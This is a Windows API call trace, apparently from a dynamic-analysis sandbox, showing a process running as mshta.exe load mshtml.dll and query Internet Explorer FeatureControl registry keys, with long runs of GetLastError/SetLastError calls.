[0088.175] GetLastError () returned 0x0
[0088.175] SetLastError (dwErrCode=0x0)
[0088.175] GetLastError () returned 0x0
[0088.175] SetLastError (dwErrCode=0x0)
[0088.175] GetLastError () returned 0x0
[0088.176] SetLastError (dwErrCode=0x0)
[0088.176] GetLastError () returned 0x0
[0088.176] SetLastError (dwErrCode=0x0)
[0088.176] GetLastError () returned 0x0
[0088.176] SetLastError (dwErrCode=0x0)
[0088.176] GetLastError () returned 0x0
[0088.176] SetLastError (dwErrCode=0x0)
[0088.176] GetLastError () returned 0x0
[0088.176] SetLastError (dwErrCode=0x0)
[0088.176] GetLastError () returned 0x0
[0088.176] SetLastError (dwErrCode=0x0)
[0088.176] GetLastError () returned 0x0
[0088.176] SetLastError (dwErrCode=0x0)
[0088.176] GetLastError () returned 0x0
[0088.176] SetLastError (dwErrCode=0x0)
[0088.176] GetLastError () returned 0x0
[0088.176] SetLastError (dwErrCode=0x0)
[0088.176] GetLastError () returned 0x0
[0088.176] SetLastError (dwErrCode=0x0)
[0088.176] GetLastError () returned 0x0
[0088.177] SetLastError (dwErrCode=0x0)
[0088.177] GetLastError () returned 0x0
[0088.177] SetLastError (dwErrCode=0x0)
[0088.177] GetLastError () returned 0x0
[0088.177] SetLastError (dwErrCode=0x0)
[0088.177] GetLastError () returned 0x0
[0088.177] SetLastError (dwErrCode=0x0)
[0088.177] GetLastError () returned 0x0
[0088.177] SetLastError (dwErrCode=0x0)
[0088.177] GetLastError () returned 0x0
[0088.177] SetLastError (dwErrCode=0x0)
[0088.177] GetLastError () returned 0x0
[0088.177] SetLastError (dwErrCode=0x0)
[0088.177] GetLastError () returned 0x0
[0088.177] SetLastError (dwErrCode=0x0)
[0088.177] GetLastError () returned 0x0
[0088.177] SetLastError (dwErrCode=0x0)
[0088.177] GetLastError () returned 0x0
[0088.177] SetLastError (dwErrCode=0x0)
[0088.177] GetLastError () returned 0x0
[0088.178] SetLastError (dwErrCode=0x0)
[0088.178] GetLastError () returned 0x0
[0088.178] SetLastError (dwErrCode=0x0)
[0088.178] GetLastError () returned 0x0
[0088.178] SetLastError (dwErrCode=0x0)
[0088.178] GetLastError () returned 0x0
[0088.178] SetLastError (dwErrCode=0x0)
[0088.178] GetLastError () returned 0x0
[0088.178] SetLastError (dwErrCode=0x0)
[0088.178] GetLastError () returned 0x0
[0088.178] SetLastError (dwErrCode=0x0)
[0088.178] GetLastError () returned 0x0
[0088.178] SetLastError (dwErrCode=0x0)
[0088.178] GetLastError () returned 0x0
[0088.178] SetLastError (dwErrCode=0x0)
[0088.178] GetLastError () returned 0x0
[0088.178] SetLastError (dwErrCode=0x0)
[0088.178] GetLastError () returned 0x0
[0088.178] SetLastError (dwErrCode=0x0)
[0088.178] GetLastError () returned 0x0
[0088.179] SetLastError (dwErrCode=0x0)
[0088.179] GetLastError () returned 0x0
[0088.179] SetLastError (dwErrCode=0x0)
[0088.179] GetLastError () returned 0x0
[0088.179] SetLastError (dwErrCode=0x0)
[0088.179] GetLastError () returned 0x0
[0088.179] SetLastError (dwErrCode=0x0)
[0088.179] GetLastError () returned 0x0
[0088.179] SetLastError (dwErrCode=0x0)
[0088.179] GetLastError () returned 0x0
[0088.179] SetLastError (dwErrCode=0x0)
[0088.179] GetLastError () returned 0x0
[0088.179] SetLastError (dwErrCode=0x0)
[0088.179] GetLastError () returned 0x0
[0088.179] SetLastError (dwErrCode=0x0)
[0088.179] GetLastError () returned 0x0
[0088.179] SetLastError (dwErrCode=0x0)
[0088.179] GetLastError () returned 0x0
[0088.179] SetLastError (dwErrCode=0x0)
[0088.179] GetLastError () returned 0x0
[0088.180] SetLastError (dwErrCode=0x0)
[0088.180] GetLastError () returned 0x0
[0088.180] SetLastError (dwErrCode=0x0)
[0088.180] GetLastError () returned 0x0
[0088.180] SetLastError (dwErrCode=0x0)
[0088.180] GetLastError () returned 0x0
[0088.180] SetLastError (dwErrCode=0x0)
[0088.180] GetLastError () returned 0x0
[0088.180] SetLastError (dwErrCode=0x0)
[0088.180] GetLastError () returned 0x0
[0088.180] SetLastError (dwErrCode=0x0)
[0088.180] GetLastError () returned 0x0
[0088.180] SetLastError (dwErrCode=0x0)
[0088.180] GetLastError () returned 0x0
[0088.180] SetLastError (dwErrCode=0x0)
[0088.180] GetLastError () returned 0x0
[0088.180] SetLastError (dwErrCode=0x0)
[0088.180] GetLastError () returned 0x0
[0088.180] SetLastError (dwErrCode=0x0)
[0088.180] GetLastError () returned 0x0
[0088.181] SetLastError (dwErrCode=0x0)
[0088.181] GetLastError () returned 0x0
[0088.181] SetLastError (dwErrCode=0x0)
[0088.181] GetLastError () returned 0x0
[0088.181] SetLastError (dwErrCode=0x0)
[0088.181] GetLastError () returned 0x0
[0088.181] SetLastError (dwErrCode=0x0)
[0088.181] GetLastError () returned 0x0
[0088.181] SetLastError (dwErrCode=0x0)
[0088.181] GetLastError () returned 0x0
[0088.181] SetLastError (dwErrCode=0x0)
[0088.181] GetLastError () returned 0x0
[0088.181] SetLastError (dwErrCode=0x0)
[0088.181] GetLastError () returned 0x0
[0088.181] SetLastError (dwErrCode=0x0)
[0088.181] GetLastError () returned 0x0
[0088.181] SetLastError (dwErrCode=0x0)
[0088.181] GetLastError () returned 0x0
[0088.181] SetLastError (dwErrCode=0x0)
[0088.181] GetLastError () returned 0x0
[0088.182] SetLastError (dwErrCode=0x0)
[0088.182] GetLastError () returned 0x0
[0088.182] SetLastError (dwErrCode=0x0)
[0088.182] GetLastError () returned 0x0
[0088.182] SetLastError (dwErrCode=0x0)
[0088.182] GetLastError () returned 0x0
[0088.182] SetLastError (dwErrCode=0x0)
[0088.182] GetLastError () returned 0x0
[0088.182] SetLastError (dwErrCode=0x0)
[0088.182] GetLastError () returned 0x0
[0088.182] SetLastError (dwErrCode=0x0)
[0088.182] GetLastError () returned 0x0
[0088.182] SetLastError (dwErrCode=0x0)
[0088.182] GetLastError () returned 0x0
[0088.182] SetLastError (dwErrCode=0x0)
[0088.182] GetLastError () returned 0x0
[0088.182] SetLastError (dwErrCode=0x0)
[0088.182] GetLastError () returned 0x0
[0088.183] SetLastError (dwErrCode=0x0)
[0088.183] GetLastError () returned 0x0
[0088.183] SetLastError (dwErrCode=0x0)
[0088.183] GetLastError () returned 0x0
[0088.183] SetLastError (dwErrCode=0x0)
[0088.183] GetLastError () returned 0x0
[0088.183] SetLastError (dwErrCode=0x0)
[0088.183] GetLastError () returned 0x0
[0088.183] SetLastError (dwErrCode=0x0)
[0088.183] GetLastError () returned 0x0
[0088.183] SetLastError (dwErrCode=0x0)
[0088.183] GetLastError () returned 0x0
[0088.183] SetLastError (dwErrCode=0x0)
[0088.183] GetLastError () returned 0x0
[0088.183] SetLastError (dwErrCode=0x0)
[0088.183] GetLastError () returned 0x0
[0088.183] SetLastError (dwErrCode=0x0)
[0088.183] GetLastError () returned 0x0
[0088.183] SetLastError (dwErrCode=0x0)
[0088.183] GetLastError () returned 0x0
[0088.183] SetLastError (dwErrCode=0x0)
[0088.183] GetLastError () returned 0x0
[0088.184] SetLastError (dwErrCode=0x0)
[0088.184] GetLastError () returned 0x0
[0088.184] SetLastError (dwErrCode=0x0)
[0088.184] GetLastError () returned 0x0
[0088.184] SetLastError (dwErrCode=0x0)
[0088.184] GetLastError () returned 0x0
[0088.184] SetLastError (dwErrCode=0x0)
[0088.184] GetLastError () returned 0x0
[0088.184] SetLastError (dwErrCode=0x0)
[0088.184] GetLastError () returned 0x0
[0088.184] SetLastError (dwErrCode=0x0)
[0088.184] GetLastError () returned 0x0
[0088.184] SetLastError (dwErrCode=0x0)
[0088.184] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x278) returned 0x291630
[0088.184] GetLastError () returned 0x0
[0088.184] SetLastError (dwErrCode=0x0)
[0088.184] GetLastError () returned 0x0
[0088.184] SetLastError (dwErrCode=0x0)
[0088.184] GetLastError () returned 0x0
[0088.184] SetLastError (dwErrCode=0x0)
[0088.184] GetLastError () returned 0x0
[0088.185] SetLastError (dwErrCode=0x0)
[0088.185] GetLastError () returned 0x0
[0088.185] SetLastError (dwErrCode=0x0)
[0088.185] GetLastError () returned 0x0
[0088.185] SetLastError (dwErrCode=0x0)
[0088.185] GetLastError () returned 0x0
[0088.185] SetLastError (dwErrCode=0x0)
[0088.185] GetLastError () returned 0x0
[0088.185] SetLastError (dwErrCode=0x0)
[0088.185] GetLastError () returned 0x0
[0088.185] SetLastError (dwErrCode=0x0)
[0088.185] GetLastError () returned 0x0
[0088.185] SetLastError (dwErrCode=0x0)
[0088.185] GetLastError () returned 0x0
[0088.185] SetLastError (dwErrCode=0x0)
[0088.185] GetLastError () returned 0x0
[0088.185] SetLastError (dwErrCode=0x0)
[0088.185] GetLastError () returned 0x0
[0088.185] SetLastError (dwErrCode=0x0)
[0088.185] GetLastError () returned 0x0
[0088.186] SetLastError (dwErrCode=0x0)
[0088.186] GetLastError () returned 0x0
[0088.186] SetLastError (dwErrCode=0x0)
[0088.186] GetLastError () returned 0x0
[0088.186] SetLastError (dwErrCode=0x0)
[0088.186] GetLastError () returned 0x0
[0088.186] SetLastError (dwErrCode=0x0)
[0088.186] GetLastError () returned 0x0
[0088.186] SetLastError (dwErrCode=0x0)
[0088.186] GetLastError () returned 0x0
[0088.186] SetLastError (dwErrCode=0x0)
[0088.186] GetLastError () returned 0x0
[0088.186] SetLastError (dwErrCode=0x0)
[0088.186] GetLastError () returned 0x0
[0088.186] SetLastError (dwErrCode=0x0)
[0088.186] GetLastError () returned 0x0
[0088.187] SetLastError (dwErrCode=0x0)
[0088.187] GetLastError () returned 0x0
[0088.187] SetLastError (dwErrCode=0x0)
[0088.187] GetLastError () returned 0x0
[0088.187] SetLastError (dwErrCode=0x0)
[0088.187] GetLastError () returned 0x0
[0088.187] SetLastError (dwErrCode=0x0)
[0088.187] GetLastError () returned 0x0
[0088.187] SetLastError (dwErrCode=0x0)
[0088.187] GetLastError () returned 0x0
[0088.187] SetLastError (dwErrCode=0x0)
[0088.187] GetLastError () returned 0x0
[0088.187] SetLastError (dwErrCode=0x0)
[0088.187] GetLastError () returned 0x0
[0088.187] SetLastError (dwErrCode=0x0)
[0088.187] GetLastError () returned 0x0
[0088.187] SetLastError (dwErrCode=0x0)
[0088.187] GetLastError () returned 0x0
[0088.187] SetLastError (dwErrCode=0x0)
[0088.187] GetLastError () returned 0x0
[0088.187] SetLastError (dwErrCode=0x0)
[0088.188] GetLastError () returned 0x0
[0088.188] SetLastError (dwErrCode=0x0)
[0088.188] GetLastError () returned 0x0
[0088.188] SetLastError (dwErrCode=0x0)
[0088.188] GetLastError () returned 0x0
[0088.188] SetLastError (dwErrCode=0x0)
[0088.188] GetLastError () returned 0x0
[0088.188] SetLastError (dwErrCode=0x0)
[0088.188] GetLastError () returned 0x0
[0088.188] SetLastError (dwErrCode=0x0)
[0088.188] GetLastError () returned 0x0
[0088.188] SetLastError (dwErrCode=0x0)
[0088.188] GetLastError () returned 0x0
[0088.188] SetLastError (dwErrCode=0x0)
[0088.188] GetLastError () returned 0x0
[0088.188] SetLastError (dwErrCode=0x0)
[0088.188] GetLastError () returned 0x0
[0088.188] SetLastError (dwErrCode=0x0)
[0088.188] GetLastError () returned 0x0
[0088.188] SetLastError (dwErrCode=0x0)
[0088.189] GetLastError () returned 0x0
[0088.189] SetLastError (dwErrCode=0x0)
[0088.189] GetLastError () returned 0x0
[0088.189] SetLastError (dwErrCode=0x0)
[0088.189] GetLastError () returned 0x0
[0088.189] SetLastError (dwErrCode=0x0)
[0088.189] GetLastError () returned 0x0
[0088.189] SetLastError (dwErrCode=0x0)
[0088.189] GetLastError () returned 0x0
[0088.189] SetLastError (dwErrCode=0x0)
[0088.189] GetLastError () returned 0x0
[0088.189] SetLastError (dwErrCode=0x0)
[0088.189] GetLastError () returned 0x0
[0088.189] SetLastError (dwErrCode=0x0)
[0088.189] GetLastError () returned 0x0
[0088.189] SetLastError (dwErrCode=0x0)
[0088.189] GetLastError () returned 0x0
[0088.189] SetLastError (dwErrCode=0x0)
[0088.189] GetLastError () returned 0x0
[0088.189] SetLastError (dwErrCode=0x0)
[0088.189] GetLastError () returned 0x0
[0088.190] SetLastError (dwErrCode=0x0)
[0088.190] GetLastError () returned 0x0
[0088.190] SetLastError (dwErrCode=0x0)
[0088.190] GetLastError () returned 0x0
[0088.190] SetLastError (dwErrCode=0x0)
[0088.190] GetLastError () returned 0x0
[0088.190] SetLastError (dwErrCode=0x0)
[0088.190] GetLastError () returned 0x0
[0088.190] SetLastError (dwErrCode=0x0)
[0088.190] GetLastError () returned 0x0
[0088.190] SetLastError (dwErrCode=0x0)
[0088.190] GetLastError () returned 0x0
[0088.190] SetLastError (dwErrCode=0x0)
[0088.190] GetLastError () returned 0x0
[0088.190] SetLastError (dwErrCode=0x0)
[0088.190] GetLastError () returned 0x0
[0088.190] SetLastError (dwErrCode=0x0)
[0088.190] GetLastError () returned 0x0
[0088.190] SetLastError (dwErrCode=0x0)
[0088.190] GetLastError () returned 0x0
[0088.191] SetLastError (dwErrCode=0x0)
[0088.191] GetLastError () returned 0x0
[0088.191] SetLastError (dwErrCode=0x0)
[0088.191] GetLastError () returned 0x0
[0088.191] SetLastError (dwErrCode=0x0)
[0088.191] GetLastError () returned 0x0
[0088.191] SetLastError (dwErrCode=0x0)
[0088.191] GetLastError () returned 0x0
[0088.191] SetLastError (dwErrCode=0x0)
[0088.191] GetLastError () returned 0x0
[0088.191] SetLastError (dwErrCode=0x0)
[0088.191] GetLastError () returned 0x0
[0088.191] SetLastError (dwErrCode=0x0)
[0088.191] GetLastError () returned 0x0
[0088.191] SetLastError (dwErrCode=0x0)
[0088.191] GetLastError () returned 0x0
[0088.191] SetLastError (dwErrCode=0x0)
[0088.191] GetLastError () returned 0x0
[0088.191] SetLastError (dwErrCode=0x0)
[0088.191] GetLastError () returned 0x0
[0088.191] SetLastError (dwErrCode=0x0)
[0088.191] GetLastError () returned 0x0
[0088.192] SetLastError (dwErrCode=0x0)
[0088.192] GetLastError () returned 0x0
[0088.192] SetLastError (dwErrCode=0x0)
[0088.192] GetLastError () returned 0x0
[0088.192] SetLastError (dwErrCode=0x0)
[0088.192] GetLastError () returned 0x0
[0088.192] SetLastError (dwErrCode=0x0)
[0088.192] GetLastError () returned 0x0
[0088.192] SetLastError (dwErrCode=0x0)
[0088.192] GetLastError () returned 0x0
[0088.192] SetLastError (dwErrCode=0x0)
[0088.192] GetLastError () returned 0x0
[0088.192] SetLastError (dwErrCode=0x0)
[0088.192] GetLastError () returned 0x0
[0088.192] SetLastError (dwErrCode=0x0)
[0088.192] GetLastError () returned 0x0
[0088.192] SetLastError (dwErrCode=0x0)
[0088.192] GetLastError () returned 0x0
[0088.192] SetLastError (dwErrCode=0x0)
[0088.192] GetLastError () returned 0x0
[0088.193] SetLastError (dwErrCode=0x0)
[0088.193] GetLastError () returned 0x0
[0088.193] SetLastError (dwErrCode=0x0)
[0088.193] GetLastError () returned 0x0
[0088.193] SetLastError (dwErrCode=0x0)
[0088.193] GetLastError () returned 0x0
[0088.193] SetLastError (dwErrCode=0x0)
[0088.193] GetLastError () returned 0x0
[0088.193] SetLastError (dwErrCode=0x0)
[0088.193] GetLastError () returned 0x0
[0088.193] SetLastError (dwErrCode=0x0)
[0088.193] GetLastError () returned 0x0
[0088.193] SetLastError (dwErrCode=0x0)
[0088.193] GetLastError () returned 0x0
[0088.193] SetLastError (dwErrCode=0x0)
[0088.193] GetLastError () returned 0x0
[0088.193] SetLastError (dwErrCode=0x0)
[0088.193] GetLastError () returned 0x0
[0088.193] SetLastError (dwErrCode=0x0)
[0088.193] GetLastError () returned 0x0
[0088.194] SetLastError (dwErrCode=0x0)
[0088.194] GetLastError () returned 0x0
[0088.194] SetLastError (dwErrCode=0x0)
[0088.194] GetLastError () returned 0x0
[0088.194] SetLastError (dwErrCode=0x0)
[0088.194] GetLastError () returned 0x0
[0088.194] SetLastError (dwErrCode=0x0)
[0088.194] GetLastError () returned 0x0
[0088.194] SetLastError (dwErrCode=0x0)
[0088.194] GetLastError () returned 0x0
[0088.194] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x614) returned 0x2918b0
[0088.194] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x290e78 | out: hHeap=0x290000) returned 1
[0088.195] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x922aef) returned 0x0
[0088.195] GetLastError () returned 0x0
[0088.195] GetVersion () returned 0x1db10106
[0088.196] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x75fe0000
[0088.196] GetProcAddress (hModule=0x75fe0000, lpProcName="HeapSetInformation") returned 0x75ff5651
[0088.196] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
[0088.196] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x105) returned 0x291ed0
[0088.196] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x105) returned 0x290e78
[0088.196] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="clsid\\{25336920-03f9-11cf-8fd0-00aa00686f13}\\InProcServer32", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf98c | out: phkResult=0x1cf98c*=0x42) returned 0x0
[0088.196] RegQueryValueExA (in: hKey=0x42, lpValueName=0x0, lpReserved=0x0, lpType=0x1cf984, lpData=0x291ed0, lpcbData=0x1cf980*=0x105 | out: lpType=0x1cf984*=0x1, lpData="C:\\Windows\\SysWOW64\\mshtml.dll", lpcbData=0x1cf980*=0x1f) returned 0x0
[0088.197] LoadLibraryA (lpLibFileName="C:\\Windows\\SysWOW64\\mshtml.dll") returned 0x73130000
[0095.492] GetProcessHeap () returned 0x450000
[0095.492] GetVersion () returned 0x1db10106
[0095.492] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x75fe0000
[0095.492] GetProcAddress (hModule=0x75fe0000, lpProcName="HeapSetInformation") returned 0x75ff5651
[0095.492] HeapSetInformation (HeapHandle=0x450000, HeapInformationClass=0x0, HeapInformation=0x1cf618, HeapInformationLength=0x4) returned 1
[0095.497] malloc (_Size=0x80) returned 0x6e2678
[0095.498] GetVersion () returned 0x1db10106
[0095.522] GetVersionExA (in: lpVersionInformation=0x1cf4f0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1cf4f0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0095.523] __dllonexit () returned 0x7335717c
[0095.523] __dllonexit () returned 0x733573bd
[0095.523] GetProcessHeap () returned 0x450000
[0095.523] __dllonexit () returned 0x73357435
[0095.523] __dllonexit () returned 0x73356e75
[0095.523] __dllonexit () returned 0x73356ff5
[0095.523] __dllonexit () returned 0x733571be
[0095.523] __dllonexit () returned 0x733572e2
[0095.523] __dllonexit () returned 0x73357320
[0095.523] __dllonexit () returned 0x73357370
[0095.523] __dllonexit () returned 0x73356e53
[0095.524] __dllonexit () returned 0x73356e66
[0095.524] __dllonexit () returned 0x73356a3e
[0095.524] __dllonexit () returned 0x73356a46
[0095.524] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc106
[0095.524] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc106
[0095.524] __dllonexit () returned 0x73356a60
[0095.524] __dllonexit () returned 0x73356a7a
[0095.524] __dllonexit () returned 0x73356a93
[0095.524] __dllonexit () returned 0x73356aa7
[0095.524] __dllonexit () returned 0x73356ac1
[0095.524] __dllonexit () returned 0x733571f1
[0095.524] __dllonexit () returned 0x73356ad0
[0095.524] __dllonexit () returned 0x73356adf
[0095.525] __dllonexit () returned 0x73356aee
[0095.525] __dllonexit () returned 0x73356afd
[0095.525] __dllonexit () returned 0x73356b0d
[0095.525] __dllonexit () returned 0x7335720c
[0095.525] __dllonexit () returned 0x73356b1c
[0095.525] __dllonexit () returned 0x73356b2f
[0095.525] __dllonexit () returned 0x73356b49
[0095.525] __dllonexit () returned 0x73356b58
[0095.525] __dllonexit () returned 0x73356b67
[0095.525] __dllonexit () returned 0x73356b76
[0095.525] __dllonexit () returned 0x73356b85
[0095.525] __dllonexit () returned 0x73356b94
[0095.526] __dllonexit () returned 0x73356ba3
[0095.526] __dllonexit () returned 0x73356bb2
[0095.526] __dllonexit () returned 0x73356bc1
[0095.526] __dllonexit () returned 0x73356bd0
[0095.526] __dllonexit () returned 0x73356bdf
[0095.526] __dllonexit () returned 0x73356bee
[0095.526] __dllonexit () returned 0x73356bfd
[0095.526] __dllonexit () returned 0x73356c0c
[0095.526] __dllonexit () returned 0x73356c1b
[0095.526] __dllonexit () returned 0x73356c2a
[0095.526] __dllonexit () returned 0x73356c3d
[0095.526] __dllonexit () returned 0x73356c4c
[0095.526] __dllonexit () returned 0x73356c5b
[0095.527] __dllonexit () returned 0x73356c75
[0095.527] __dllonexit () returned 0x73356c8f
[0095.527] __dllonexit () returned 0x73356ca9
[0095.527] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153
[0095.527] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153
[0095.527] __dllonexit () returned 0x73356cb1
[0095.527] __dllonexit () returned 0x73357294
[0095.527] __dllonexit () returned 0x73356ccb
[0095.527] __dllonexit () returned 0x73356cd3
[0095.527] __dllonexit () returned 0x73356ce2
[0095.527] __dllonexit () returned 0x73356cf1
[0095.528] __dllonexit () returned 0x73356d00
[0095.528] __dllonexit () returned 0x7334f72d
[0095.528] __dllonexit () returned 0x73356d43
[0095.528] __dllonexit () returned 0x73356d56
[0095.528] __dllonexit () returned 0x7334f095
[0095.528] __dllonexit () returned 0x73356d65
[0095.528] __dllonexit () returned 0x73356d78
[0095.528] __dllonexit () returned 0x73356d87
[0095.528] __dllonexit () returned 0x73356d9a
[0095.528] __dllonexit () returned 0x73352256
[0095.528] __dllonexit () returned 0x7335679d
[0095.529] __dllonexit () returned 0x73356dd5
[0095.529] __dllonexit () returned 0x73356df8
[0095.529] __dllonexit () returned 0x73356e07
[0095.529] __dllonexit () returned 0x733576cb
[0095.529] __dllonexit () returned 0x73356e1a
[0095.529] __dllonexit () returned 0x733572aa
[0095.529] __dllonexit () returned 0x733572cb
[0095.529] __dllonexit () returned 0x73356e3a
[0095.529] GetCurrentThreadId () returned 0x4e0
[0095.529] CoCreateGuid (in: pguid=0x7366ad20 | out: pguid=0x7366ad20*(Data1=0x92ad9ab6, Data2=0xa51f, Data3=0x4543, Data4=([0]=0xba, [1]=0x1a, [2]=0xf, [3]=0x6d, [4]=0x4a, [5]=0x6d, [6]=0x93, [7]=0xa2))) returned 0x0
[0095.531] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x200) returned 0x46e868
[0095.531] __dllonexit () returned 0x7335733d
[0095.531] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1cef90, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d
[0095.531] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe"
[0095.531] StrCmpICW (pszStr1="mshta.exe", pszStr2="iexplore.exe") returned 4
[0095.531] StrCmpICW (pszStr1="mshta.exe", pszStr2="explorer.exe") returned 8
[0095.531] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x46ea70
[0095.531] SHRegGetValueW () returned 0x2
[0095.532] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1dc | out: phkResult=0x1cf1dc*=0x0) returned 0x2
[0095.532] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d8 | out: phkResult=0x1cf1d8*=0x0) returned 0x2
[0095.532] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x94) returned 0x0
[0095.532] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x98) returned 0x0
[0095.739] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.921] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.921] RegCloseKey (hKey=0x0) returned 0x6
[0095.921] RegCloseKey (hKey=0x0) returned 0x6
[0095.921] RegCloseKey (hKey=0x94) returned 0x0
[0095.921] RegCloseKey (hKey=0x98) returned 0x0
[0095.921] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x98) returned 0x0
[0095.921] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x94) returned 0x0
[0095.921] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.921] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.921] RegCloseKey (hKey=0x0) returned 0x6
[0095.921] RegCloseKey (hKey=0x0) returned 0x6
[0095.921] RegCloseKey (hKey=0x98) returned 0x0
[0095.922] RegCloseKey (hKey=0x94) returned 0x0
[0095.922] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x94) returned 0x0
[0095.922] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x98) returned 0x0
[0095.922] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_ARIA_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.922] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_ARIA_SUPPORT", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.922] RegCloseKey (hKey=0x0) returned 0x6
[0095.922] RegCloseKey (hKey=0x0) returned 0x6
[0095.922] RegCloseKey (hKey=0x94) returned 0x0
[0095.922] RegCloseKey (hKey=0x98) returned 0x0
[0095.922] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x98) returned 0x0
[0095.922] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d4 | out: phkResult=0x1cf1d4*=0x94) returned 0x0
[0095.922] RegOpenKeyExW (in: hKey=0x94, lpSubKey="FEATURE_LEGACY_DISPPARAMS", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x0) returned 0x2
[0095.922] RegOpenKeyExW (in: hKey=0x98, lpSubKey="FEATURE_LEGACY_DISPPARAMS", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf190 | out: phkResult=0x1cf190*=0x9c) returned 0x0
[0095.923] SHRegGetValueW () returned 0x2
[0095.923] SHRegGetValueW () returned 0x2
[0095.923] RegCloseKey (hKey=0x9c) returned 0x0
[0095.923] RegCloseKey (hKey=0x0) returned 0x6
[0095.923] RegCloseKey (hKey=0x0) returned 0x6
[0095.923] RegCloseKey (hKey=0x98) returned 0x0
[0095.923] RegCloseKey (hKey=0x94) returned 0x0
[0095.923] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf1d0 | out: phkResult=0x1cf1d0*=0x94) returned 0x0
